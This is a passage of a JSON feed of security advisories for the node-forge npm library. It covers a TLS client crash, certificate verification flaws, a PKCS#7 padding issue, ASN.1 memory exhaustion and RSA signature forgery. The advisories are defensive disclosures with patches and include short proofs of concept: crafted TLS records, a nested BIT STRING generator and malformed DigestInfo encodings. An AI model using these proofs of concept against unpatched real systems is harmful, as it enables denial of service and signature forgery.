`TypeError: Cannot read properties of null (reading 'md5')`.\n\nThis happens:\n- after the server sends a `close_notify` alert (at any alert level);\n- after the application calls `close()`;\n- before the application calls `handshake()`.\n\nThe exception propagates out of `connection.process()`. Applications that pass socket data to `process()` from a `data` event handler without catching exceptions, as in the README example, terminate. After a reset the connection uses no encryption, so an on-path attacker can inject the records even when the real server is honest.\n\nServers are not affected: a server creates its session when it receives a ClientHello.\n\nThe fix handles these records like other unexpected records on a closed client: they are ignored.\n\n#### Patches\nFixed in node-forge 1.4.3.\n\n#### Workarounds\nCatch exceptions thrown by `connection.process()` and close the socket, or stop passing socket data to `process()` once the `closed` callback has been called and until `handshake()` is called again.\n\n#### Resources\n- RFC 5246, section 7.2.1 (Closure Alerts): https://www.rfc-editor.org/rfc/rfc5246#section-7.2.1\n- Related: GHSA-525v-9gp9-w22h (another TLS client `TypeError`, fixed in 1.4.1): https://github.com/digitalbazaar/forge/security/advisories/GHSA-525v-9gp9-w22h\n\n#### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H (5.9, Moderate)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (8.2)\nCVSS 4.0 has no counterpart to 3.1's AC:H beyond AT:P and scores this higher; the severity rating follows CVSS 3.1.\n\n#### Credits\nReported by @manus-use.\n\n### Proof of concept\n    var c = forge.tls.createConnection({server: false, ...});\n    c.handshake();\n    // warning close_notify alert, then an empty ServerHello, in separate\n    // process() calls\n    c.process(forge.util.hexToBytes('15030100020100'));\n    c.process(forge.util.hexToBytes('160301000402000000'));\n    // \u003c= 1.4.2: TypeError: Cannot read properties of null (reading 'md5')\n    // 1.4.3: the record is ignored\n\nThe reporter's PoC is in tests/pocs/ghsa-j8rw-jp99-435v.js, and regression tests are in tests/unit/tls.js.\n\n### Impact\nApplications that use `forge.tls` as a client and pass data from a network socket to `connection.process()` are affected. The server they connect to, or an on-path attacker, can make `process()` throw; if the application doesn't catch it, the Node.js process terminates, dropping all its connections. Servers built on `forge.tls` are not affected. There is no confidentiality or integrity impact.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-11-10T21:14:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-j8rw-jp99-435v","https://github.com/digitalbazaar/forge/pull/1169","https://github.com/digitalbazaar/forge/commit/2cfaeb516cb3d4aff1c0569d39394df41c5cb17c","https://github.com/digitalbazaar/forge/releases/tag/v1.4.3","https://github.com/advisories/GHSA-j8rw-jp99-435v"],"source_kind":"github","identifiers":["GHSA-j8rw-jp99-435v","CVE-2026-125334"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-11-10T22:01:02.100Z","updated_at":"2026-11-11T06:01:42.207Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qOHJ3LWpwOTktNDM1ds4ACBbZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qOHJ3LWpwOTktNDM1ds4ACBbZ","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.3","vulnerable_version_range":"\u003c= 1.4.2"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qOHJ3LWpwOTktNDM1ds4ACBbZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05d2c1LW1qM3AtdjQ5cc4ACBXj","url":"https://github.com/advisories/GHSA-9wg5-mj3p-v49q","title":"Forge: Certificate signature verified with the issuer's RSA signature scheme","description":"### Summary\n\nWhen verifying a certificate, node-forge chose the RSA padding scheme (PKCS#1 v1.5 or RSASSA-PSS) and PSS parameters from the issuer certificate's own signature algorithm instead of the certificate being verified. A certificate labeled as signed with RSASSA-PSS could pass `verifyCertificateChain()` with a PKCS#1 v1.5 signature. Fixed in node-forge 1.4.1.\n\n### Details\n\n`certificate.verify(child)` in `lib/x509.js` hashes the child's TBSCertificate with the digest of the child's signature algorithm, then calls `_verifySignature()` with the issuer certificate. `_verifySignature()` selected the padding scheme from that certificate's `signatureOid` and `signatureParameters`, so the child was verified with the issuer's own scheme rather than the one the child declares.\n\nAs a result, a child certificate whose signature algorithm says RSASSA-PSS was accepted with a PKCS#1 v1.5 signature when the issuer itself was signed with PKCS#1 v1.5. The outer `signatureAlgorithm` field of a certificate is not covered by the signature, so an existing PKCS#1 v1.5 (SHA-256) certificate can be relabeled as RSASSA-PSS and still pass verification. The signature itself must still be made with the issuer's private key over the certificate's contents; no certificate can be forged.\n\nThe same cause made correctly signed chains fail: a PKCS#1 v1.5 certificate issued by an RSASSA-PSS-signed certificate, or the reverse, was rejected.\n\nThe fix verifies with the child certificate's signature scheme and parameters and the issuer's public key.\n\n### Patches\nFixed in node-forge 1.4.1. Certificate signatures are verified with the scheme of the certificate's own signature algorithm.\n\n### Workarounds\nApplications that make decisions based on a certificate's signature algorithm can verify the signature themselves with that algorithm's scheme and the issuer's public key.\n\n### References\n- https://www.rfc-editor.org/rfc/rfc4055#section-3 (RSASSA-PSS signature algorithm in certificates)\n- https://www.rfc-editor.org/rfc/rfc5280#section-4.1.1.2 (Certificate signatureAlgorithm)\n- https://cwe.mitre.org/data/definitions/347.html (CWE-347: Improper Verification of Cryptographic Signature)\n\n### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N (3.7, Low)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N (6.3)\nCVSS 4.0 rates this Moderate because its integrity weighting is higher; the severity rating follows CVSS 3.1.\n\n### Credits\nReported by Brian Lee (@hibrian827, Georgia Tech SSLab, Team Atlanta), who also suggested the fix.\n\n### Proof of concept\n\nCreate a CA certificate signed with sha256WithRSAEncryption, and a leaf certificate whose signature algorithm fields (outer and in the TBSCertificate) are RSASSA-PSS with SHA-256/MGF1-SHA-256/salt 32, but sign the leaf's TBSCertificate with the CA key using PKCS#1 v1.5 (`caKey.sign(sha256)`).\n\nOn 1.4.0, `forge.pki.verifyCertificateChain(forge.pki.createCaStore([ca]), [leaf])` returns `true`, although verifying the leaf's signature with RSASSA-PSS fails. On 1.4.1 it throws \"Certificate signature is invalid.\".\n\nNo private key is needed for the same result: take any certificate signed by the CA with sha256WithRSAEncryption and replace only its outer signatureAlgorithm (outside the signed TBSCertificate) with the RSASSA-PSS identifier above. On 1.4.0 it still verifies and reports `signatureOid` as RSASSA-PSS; on 1.4.1 it is rejected.\n\nRegression tests are in tests/unit/x509.js (\"signature scheme of the child certificate\").\n\n### Impact\n\nApplications that rely on a certificate's declared signature algorithm, for example a policy that only accepts RSASSA-PSS-signed certificates, can be given a certificate labeled RSASSA-PSS whose signature was verified as PKCS#1 v1.5. The certificate must still have been signed by the trusted issuer's key, so the identity it certifies cannot be forged. There is no confidentiality or availability impact.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-11-10T15:57:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-9wg5-mj3p-v49q","https://nvd.nist.gov/vuln/detail/CVE-2026-118774","https://github.com/digitalbazaar/forge/commit/c7f42614d5166a77ddf11ce174b2601b14f6956b","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-9wg5-mj3p-v49q"],"source_kind":"github","identifiers":["GHSA-9wg5-mj3p-v49q","CVE-2026-118774"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-11-10T16:01:00.476Z","updated_at":"2026-11-11T06:01:43.998Z","epss_percentage":0.00103,"epss_percentile":0.0099,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05d2c1LW1qM3AtdjQ5cc4ACBXj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05d2c1LW1qM3AtdjQ5cc4ACBXj","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05d2c1LW1qM3AtdjQ5cc4ACBXj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ydmdxLXdjaGMtMjV3N84ACBXi","url":"https://github.com/advisories/GHSA-2vgq-wchc-25w7","title":"Forge: Incomplete PKCS#7 padding validation in AES/DES CBC and ECB decryption","description":"### Summary\n`decipher.finish()` in CBC and ECB mode accepted malformed PKCS#7 padding: only the last byte was checked, against a limit of four blocks, so mismatched padding bytes, a zero count and oversized counts were accepted and up to four blocks of plaintext could be silently removed. Fixed in node-forge 1.4.1.\n\n### Details\n`modes.cbc.prototype.unpad()` and `modes.ecb.prototype.unpad()` in `lib/cipherModes.js` read the last decrypted byte as the PKCS#7 padding count, rejected it only if it was larger than `blockSize \u003c\u003c 2` (64 for AES, 32 for DES), and then removed that many bytes. They did not reject a count of 0 or a count larger than one block, and did not check that every padding byte equals the count, as PKCS#7 (RFC 5652 section 6.3) requires. On the Wycheproof AES-CBC-PKCS5 test vectors, 69 of 144 invalid vectors decrypted successfully.\n\nCBC and ECB without a MAC do not provide integrity: an attacker who can modify ciphertext can already make the final block decrypt to any padding. The effect of this bug is that malformed ciphertext is accepted as valid and that oversized counts silently truncate up to four blocks of plaintext. The fix does not protect against padding oracle attacks; applications that decrypt untrusted CBC data need to authenticate it (for example with an HMAC) or use AES-GCM.\n\nThe fix requires a count from 1 to the block size and checks every padding byte. Data with other padding schemes that only use the last byte as the count (ANSI X.923, ISO 10126, XML Encryption) now fails to decrypt with default unpadding; set `decipher.mode.unpad = false` before `finish()` and remove such padding in application code.\n\n#### Patches\nFixed in node-forge 1.4.1. CBC and ECB decryption requires valid PKCS#7 padding.\n\n#### Workarounds\nAuthenticate CBC/ECB ciphertext before decrypting it, or use AES-GCM. To check padding on 1.4.0, set `decipher.mode.unpad = false` and validate the padding in application code.\n\n#### References\n- https://www.rfc-editor.org/rfc/rfc5652#section-6.3 (PKCS#7 content-encryption padding)\n- https://github.com/C2SP/wycheproof/blob/master/testvectors_v1/aes_cbc_pkcs5_test.json\n- https://cwe.mitre.org/data/definitions/354.html (CWE-354: Improper Validation of Integrity Check Value)\n\n#### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N (3.7, Low)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N (6.3)\nCVSS 4.0 rates this Moderate because its integrity weighting is higher; the severity rating follows CVSS 3.1.\n\n#### Credits\nReported by Oren Yomtov (@orenyomtov, Fireblocks), @zebbern, and Brian Lee (@hibrian827, Georgia Tech SSLab, Team Atlanta), who also suggested the fix.\n\n### Proof of concept\n    var forge = require('node-forge');\n    // Wycheproof aes_cbc_pkcs5_test tcId 26: zero padding instead of PKCS#7\n    var d = forge.cipher.createDecipher('AES-CBC',\n      forge.util.hexToBytes('db4f3e5e3795cc09a073fa6a81e5a6bc'));\n    d.start({iv: forge.util.hexToBytes('23468aa734f5f0f19827316ff168e94f')});\n    d.update(forge.util.createBuffer(\n      forge.util.hexToBytes('aa62606a287476777b92d8e4c4e53028')));\n    console.log(d.finish()); // 1.4.0: true; 1.4.1: false\n\nDirectly, `unpad()` on 1.4.0 also accepts a final block ending in `03 02 01 04` (removing 4 bytes) and a count of 0x20 on 16-byte blocks (removing 32 bytes).\n\nRegression tests are in tests/unit/aes.js (\"PKCS#7 padding checks\").\n\n### Impact\nApplications that decrypt AES or DES data in CBC or ECB mode and use the result of `decipher.finish()` to decide whether the data is valid could accept malformed ciphertext, with up to four blocks of trailing plaintext removed. This also affects PKCS#7 EncryptedData/EnvelopedData decryption, PKCS#12 and encrypted private keys. Because CBC and ECB without a MAC are malleable, the additional capability given to an attacker is small. There is no confidentiality or availability impact.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-11-10T15:57:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-2vgq-wchc-25w7","https://nvd.nist.gov/vuln/detail/CVE-2026-118776","https://github.com/digitalbazaar/forge/commit/81774ff99e2da64aec9a43591df45a360040c136","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-2vgq-wchc-25w7"],"source_kind":"github","identifiers":["GHSA-2vgq-wchc-25w7","CVE-2026-118776"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-11-10T16:01:00.476Z","updated_at":"2026-11-11T06:01:43.999Z","epss_percentage":0.00136,"epss_percentile":0.03093,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydmdxLXdjaGMtMjV3N84ACBXi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ydmdxLXdjaGMtMjV3N84ACBXi","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydmdxLXdjaGMtMjV3N84ACBXi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oNDZ2LXJtaDYtZnE0Zs4ACBXh","url":"https://github.com/advisories/GHSA-h46v-rmh6-fq4f","title":"Forge: X.509 pathLenConstraint not enforced by verifyCertificateChain() for CA certificates without keyUsage","description":"### Summary\n`forge.pki.verifyCertificateChain()` enforces the `pathLenConstraint` of a CA certificate's `basicConstraints` extension only when that certificate also has a `keyUsage` extension. For a CA certificate with a `pathLenConstraint` and no `keyUsage`, chains with more intermediate CA certificates below it than the constraint allows are accepted. Fixed in node-forge 1.4.1.\n\n### Details\nIn `pki.verifyCertificateChain()` (`lib/x509.js`), the path length check for a CA certificate was guarded by `keyUsageExt !== null \u0026\u0026 'pathLenConstraint' in bcExt`. The `keyUsage` test was originally a proxy for \"a basicConstraints extension exists\". Since node-forge 1.4.0 (GHSA-2328-f5f3-gj25), basicConstraints is required for every certificate that reaches this check, so the only remaining effect of the guard is to skip `pathLenConstraint` enforcement for CA certificates without `keyUsage`.\n\nRFC 5280 permits CA certificates without `keyUsage`, and path length processing in section 6.1.4 (l)-(m) does not depend on `keyUsage`; section 4.2.1.9 defines `pathLenConstraint` as part of basicConstraints only. For example, with a trusted root, an intermediate CA with `pathLenConstraint=0` and no `keyUsage`, a sub-CA issued by that intermediate, and a leaf issued by the sub-CA, node-forge accepts the chain. It correctly rejects the same chain when the intermediate has `keyUsage`.\n\nThe fix checks `pathLenConstraint` whenever the basicConstraints extension is present, regardless of `keyUsage` (based on PR #1142).\n\n#### Patches\nFixed in node-forge 1.4.1. `pathLenConstraint` is now enforced for CA certificates without a `keyUsage` extension.\n\n#### Workarounds\nNone in node-forge itself. Applications that pass an `options.verify` callback to `pki.verifyCertificateChain()` (or `verify` to `forge.tls.createConnection()`) can reject chains in which a CA certificate at `depth` d has `basicConstraints.pathLenConstraint \u003c d - 1`. Re-issuing constrained CA certificates with a `keyUsage` extension that includes `keyCertSign` also restores enforcement.\n\n#### References\n- RFC 5280, sections 4.2.1.9 and 6.1.4: https://www.rfc-editor.org/rfc/rfc5280#section-6.1.4\n- Related: GHSA-2328-f5f3-gj25 / CVE-2026-33896 (basicConstraints bypass, fixed in 1.4.0)\n- https://github.com/digitalbazaar/forge/pull/1142\n\n#### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N (5.9, Moderate)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N (8.2)\nCVSS 4.0 weights the attack preconditions differently and scores this higher; the severity rating follows CVSS 3.1.\n\n#### Credits\n@offset, @eddieran, also reported independently by Zion Boggan (@zionboggan) and @EchoSkorJjj.\n\n### Proof of concept\nBuild the chain root \u003c- int \u003c- subCA \u003c- leaf, where `int` has basicConstraints `cA=true, pathLenConstraint=0` and no `keyUsage`, `subCA` is a CA certificate issued by `int`, and `leaf` is issued by `subCA`:\n\n```js\nvar caStore = forge.pki.createCaStore([root]);\nforge.pki.verifyCertificateChain(caStore, [leaf, subCA, int]);\n// \u003c= 1.4.0: true (pathLenConstraint=0 ignored)\n// 1.4.1: throws \"Certificate basicConstraints pathLenConstraint violated.\"\n```\n\nThe same chain is rejected on \u003c= 1.4.0 when `int` also has a `keyUsage` extension with `keyCertSign`. The fix adds regression tests in `tests/unit/x509.js` and the reporter's PoC as `tests/pocs/ghsa-h46v-rmh6-fq4f.js`.\n\n### Impact\nApplications that verify certificate chains with `forge.pki.verifyCertificateChain()`, including TLS peer certificate verification in `forge.tls`, are affected when a CA they trust (directly or through a chain) has a `pathLenConstraint` and no `keyUsage` extension.\n\nExploitation requires such a path-length-constrained CA certificate that chains to a root the application trusts. The attacker must either hold that CA's private key or obtain a CA certificate from it. That CA can then create subordinate CAs, and certificates issued by those subordinate CAs are accepted by `pki.verifyCertificateChain()`. Public web PKI CA certificates normally include `keyUsage`. Private PKIs whose CA certificates were created without `keyUsage` are most likely to be affected.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-11-10T15:57:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-h46v-rmh6-fq4f","https://nvd.nist.gov/vuln/detail/CVE-2026-119189","https://github.com/digitalbazaar/forge/commit/696db92348623e88cc63c35f0a89ede481d55ad0","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-h46v-rmh6-fq4f"],"source_kind":"github","identifiers":["GHSA-h46v-rmh6-fq4f","CVE-2026-119189"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-11-10T16:01:00.476Z","updated_at":"2026-11-11T06:01:43.999Z","epss_percentage":0.00165,"epss_percentile":0.05759,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNDZ2LXJtaDYtZnE0Zs4ACBXh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oNDZ2LXJtaDYtZnE0Zs4ACBXh","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNDZ2LXJtaDYtZnE0Zs4ACBXh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yaHI4LTNwbTgtY3EyOc4ACBXg","url":"https://github.com/advisories/GHSA-rhr8-3pm8-cq29","title":"Forge: ASN.1 resource exhaustion via BIT STRING decoding in asn1.fromDer","description":"### Summary\n`asn1.fromDer()` decodes the contents of BIT STRINGs as ASN.1 by default. That decode ignored the `maxDepth` recursion limit (an incomplete fix of CVE-2025-66031) and also decoded nested BIT STRINGs, keeping a full copy of the decoded contents at each level, so small crafted DER or PEM inputs (certificates, keys, PKCS structures) use excessive CPU time and memory and can abort the Node.js process. Fixed in node-forge 1.4.1.\n\n### Details\n`asn1.fromDer()` attempts by default to decode the contents of primitive BIT STRINGs as ASN.1 (`decodeBitStrings`, default `true`). Two flaws in that decode in `lib/asn1.js` allow resource exhaustion:\n\n1. `_fromDer()` started the BIT STRING decode with a new options object, `{strict: true, decodeBitStrings: true}`, that did not include `maxDepth`. Inside that decode the depth check compared against `undefined` and never triggered, so the recursion limit added for CVE-2025-66031 (GHSA-554w-wpv2-vw27) was not enforced for anything below a decoded BIT STRING. Both the global `asn1.maxDepth` (default 256) and the per-call `maxDepth` option were ignored there. Errors in this speculative decode, including stack overflows, are caught and the contents kept as raw bytes, so deep nesting is parsed instead of rejected. This is an incomplete fix of CVE-2025-66031.\n2. BIT STRINGs nested inside decoded BIT STRING contents were decoded as well, and `asn1.create()` gives each decoded BIT STRING a deep copy of its decoded contents (`obj.original`, used by `toDer()` to detect changes). Memory use therefore grows quadratically with the nesting depth, even within the default depth limit.\n\nNo specification is violated; the parser lacks a resource limit.\n\nThe fix passes `maxDepth` to the BIT STRING decode, and decodes BIT STRING contents with `decodeBitStrings: false`, so only one level of BIT STRING contents is decoded. Contents that would exceed the limit, and BIT STRINGs inside decoded BIT STRING contents, are kept as undecoded BIT STRING values; `toDer()` writes their original bytes. Common structures such as SubjectPublicKeyInfo only use one level. Code that relied on nested decoding can decode the inner value explicitly with `asn1.fromDer()`.\n\n#### Patches\nFixed in node-forge 1.4.1. The `maxDepth` limit now applies to ASN.1 decoded from BIT STRING contents, and only one level of BIT STRING contents is decoded.\n\n#### Workarounds\nCode that calls `forge.asn1.fromDer()` directly and does not need encapsulated BIT STRING contents decoded can pass `{decodeBitStrings: false}`. This changes the parsed structure. The higher-level PKI, PKCS and TLS APIs do not expose this option and rely on the decoded form. For those, the only remedy is upgrading.\n\n#### References\n- CVE-2025-66031 / https://github.com/digitalbazaar/forge/security/advisories/GHSA-554w-wpv2-vw27 (ASN.1 Unbounded Recursion, fixed in 1.3.2)\n- https://cwe.mitre.org/data/definitions/674.html (CWE-674: Uncontrolled Recursion)\n- https://cwe.mitre.org/data/definitions/400.html (CWE-400: Uncontrolled Resource Consumption)\n\n#### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5, High)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (8.7)\nBoth versions rate this High. The severity rating follows CVSS 3.1.\n\n#### Credits\nReported by Ethan Kim (cremit.io), Youngjoon Kim (@acorn421) and Brian Lee (@hibrian827) of Georgia Tech SSLab, @arpitjain099, and Mike Read.\n\n### Proof of concept\nInput shape: n nested primitive BIT STRINGs (`03 \u003clen\u003e 00 \u003cinner\u003e`) around a NULL. For example:\n\n    var asn1 = forge.asn1;\n    var obj = asn1.create(asn1.Class.UNIVERSAL, asn1.Type.NULL, false, '');\n    for(var i = 0; i \u003c 2000; ++i) {\n      obj = asn1.create(asn1.Class.UNIVERSAL, asn1.Type.BITSTRING, false, [obj]);\n    }\n    var der = asn1.toDer(obj).getBytes(); // 9,886 bytes\n    asn1.fromDer(der, {maxDepth: 10});\n\nOn 1.4.0 (Node.js 24) this parses all 2,000 levels despite `maxDepth: 10`, taking about 0.5-1 s and 600 MB. One SEQUENCE holding 20 such chains (about 198 KB) aborts a process with the default heap with \"FATAL ERROR: JavaScript heap out of memory\", which the application cannot catch. Within the depth limit, 80 chains of 254 levels (92 KB) still use about 0.8 GB. The same inputs wrapped as PEM reach `pki.publicKeyFromPem()` and `pki.certificateFromPem()` (a 20 KB certificate PEM used 1.3 GB before being rejected). On 1.4.1 these inputs parse in a few milliseconds and about 55-65 MB.\n\nRegression tests in tests/unit/asn1.js: \"should limit depth in decoded BIT STRINGs (default)\", \"should limit depth in decoded BIT STRINGs (maxDepth)\", \"should only decode one level of BIT STRINGs\" and \"should not decode BIT STRINGs in many BIT STRINGs\".\n\n### Impact\nA remote, unauthenticated attacker can supply a small DER or PEM structure with nested BIT STRINGs to any API that parses with `asn1.fromDer()` using default options. This includes `pki.certificateFromPem()`, `pki.publicKeyFromPem()`, the PKCS#7, PKCS#8 and PKCS#12 loaders, and server certificates received by forge's TLS client. Parsing such input consumes excessive CPU time and memory before the structure is rejected. On Node.js 24 a 10 KB input used about 600 MB and a 25 KB input about 1.4 GB. Inputs of about 25 KB abort a process limited to a 512 MB heap, and about 200 KB abort a process with the default heap, with a fatal out-of-memory error that the application cannot catch. Inputs that stay within the depth limit still reach about 0.8 GB at 92 KB and 1.8 GB at 231 KB. The result is denial of service. There is no confidentiality or integrity impact.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-11-10T15:57:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-rhr8-3pm8-cq29","https://nvd.nist.gov/vuln/detail/CVE-2026-119191","https://github.com/digitalbazaar/forge/commit/24035c181f41885ea3ec7279e6c0fcf270b6ec4b","https://github.com/digitalbazaar/forge/commit/523c8e74c28457daeff044230dce4a36313c5ab7","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-rhr8-3pm8-cq29"],"source_kind":"github","identifiers":["GHSA-rhr8-3pm8-cq29","CVE-2026-119191"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-11-10T16:01:00.476Z","updated_at":"2026-11-11T06:01:44.000Z","epss_percentage":0.00429,"epss_percentile":0.37153,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yaHI4LTNwbTgtY3EyOc4ACBXg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yaHI4LTNwbTgtY3EyOc4ACBXg","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yaHI4LTNwbTgtY3EyOc4ACBXg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cXJ3LW04Y3YtaGN4Zs4ACBXf","url":"https://github.com/advisories/GHSA-6qrw-m8cv-hcxf","title":"Forge: RSA PKCS#1 v1.5 signature forgery via non-canonical DigestInfo encoding","description":"### Summary\nRSASSA-PKCS1-v1_5 signature verification (`publicKey.verify()` with the default scheme, also used by X.509 certificate and PKCS#7 verification) accepted non-canonical BER encodings of the DigestInfo, such as NULL parameters with content and non-minimal lengths. These leave attacker-controlled bytes inside an accepted DigestInfo, which allows signatures to be forged without the private key for RSA keys with a low public exponent (e=3). Fixed in node-forge 1.4.1.\n\n### Details\nIn `lib/rsa.js`, `key.verify()` with the default `RSASSA-PKCS1-V1_5` scheme removes the padding, parses the recovered DigestInfo with the lenient BER parser `asn1.fromDer()` and checks its structure with `asn1.validate()` against `digestInfoValidator`. Neither requires a canonical DER encoding, so verification accepted, among others:\n- NULL parameters with content bytes (e.g. `05 40 \u003c64 bytes\u003e`)\n- non-NULL or constructed values in the parameters position\n- non-minimal (long form) and indefinite lengths\n- non-canonical OID encodings (padded subidentifiers, trailing bytes)\n\nThese leave attacker-controlled bytes inside an accepted DigestInfo. For RSA keys with a low public exponent (e=3) this allows signatures to be forged without the private key (BERserk / Bleichenbacher-style forgery, see CVE-2014-1568).\n\nRFC 8017 section 8.2.2 verifies a signature by encoding the expected EMSA-PKCS1-v1_5 message and comparing it with the recovered one; section 9.2 defines the DigestInfo encoding.\n\nThe fix adds `_encodeDigestInfo()`, which DER-encodes the expected DigestInfo from the digest algorithm OID and the digest (with and without NULL parameters). Verification now requires the recovered DigestInfo to match one of these encodings byte for byte. The same change fixes GHSA-2g46-22mc-6gwp (CVE-2026-85393).\n\n#### Patches\nFixed in node-forge 1.4.1. Verification now re-encodes the expected DigestInfo and requires a byte-for-byte match (RFC 8017 section 8.2.2).\n\n#### Workarounds\nDo not use RSA keys with a low public exponent (e=3) for signature verification.\n\n#### References\n- https://www.rfc-editor.org/rfc/rfc8017#section-8.2.2\n- https://www.rfc-editor.org/rfc/rfc8017#section-9.2\n- CVE-2026-85393 / GHSA-2g46-22mc-6gwp (related, same fix)\n- CVE-2026-33894 / https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp\n- https://www.cve.org/CVERecord?id=CVE-2014-1568 (BERserk)\n\n#### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N (7.5, High)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N (8.2)\nBoth versions rate this High. The severity rating follows CVSS 3.1.\n\n#### Credits\nIndependently reported by Oren Yomtov (@orenyomtov, Fireblocks), Bronson Yen (Calif.io, in collaboration with Claude and Anthropic Research), Kamil Hałajda, @pzartech, @antonlissone and @Brechard.\n\n### Proof of concept\nDigestInfo encodings accepted before 1.4.1 (SHA-256; OID = 06 09 60 86 48 01 65 03 04 02 01, H = the 32-byte digest):\n\n    NULL parameters with content:  30 33 30 0F \u003cOID\u003e 05 02 BE EF 04 20 \u003cH\u003e\n    non-minimal DigestInfo length: 30 81 31 30 0D \u003cOID\u003e 05 00 04 20 \u003cH\u003e\n    (canonical form:               30 31 30 0D \u003cOID\u003e 05 00 04 20 